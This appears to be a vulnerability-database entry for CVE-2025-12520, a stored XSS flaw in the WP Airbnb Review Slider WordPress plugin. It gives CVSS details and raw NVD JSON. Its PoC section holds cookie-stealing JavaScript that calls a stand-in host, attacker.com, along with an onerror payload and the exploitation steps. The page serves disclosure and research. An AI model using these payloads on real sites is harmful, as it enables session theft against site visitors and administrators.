Security Vulnerability Report
中文
CVE-2025-12520 CVSS 4.0 MEDIUM

CVE-2025-12520

Published: 2025-11-07 06:15:33
Last Modified: 2026-04-15 00:35:42

Description

The WP Airbnb Review Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 4.2 due to insufficient URL validation that allows users to pull in a malicious HTML file. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Airbnb Review Slider <= 4.2 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-12520 PoC: Stored XSS via WP Airbnb Review Slider Admin Settings --> <!-- attacker-controlled malicious.html hosted on external server --> <!-- <!DOCTYPE html> <html> <head><title>Malicious</title></head> <body> <script> // Steal admin cookies and send to attacker server var stolen = document.cookie; fetch('https://attacker.com/log?c=' + encodeURIComponent(stolen)); // Or perform admin actions // fetch('/wp-admin/admin-ajax.php', {method: 'POST', body: 'action=...'}) </script> </body> </html> --> <!-- Step 1: Authenticate as WordPress Administrator --> <!-- Step 2: Navigate to WP Airbnb Review Slider Settings --> <!-- Step 3: Find URL input field (e.g., Review Source URL) --> <!-- Step 4: Set value to: http://attacker.com/malicious.html --> <!-- Step 5: Save settings - malicious script is now stored --> <!-- Step 6: Any user visiting pages with review slider triggers XSS --> <!-- Example XSS payload for testing: --> <script>alert('XSS by CVE-2025-12520')</script> <!-- Or steal session: --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12520", "sourceIdentifier": "[email protected]", "published": "2025-11-07T06:15:33.013", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Airbnb Review Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 4.2 due to insufficient URL validation that allows users to pull in a malicious HTML file. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://cyberresearchhub.com/", "source": "[email protected]"}, {"url": "https://cyberresearchhub.com/cve-2025-12520/", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=/wp-airbnb-review-slider/tags/4.2&new_path=/wp-airbnb-review-slider/tags/4.3&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6082f25f-b060-431b-a18c-65899851bf3b?source=cve", "source": "[email protected]"}]}}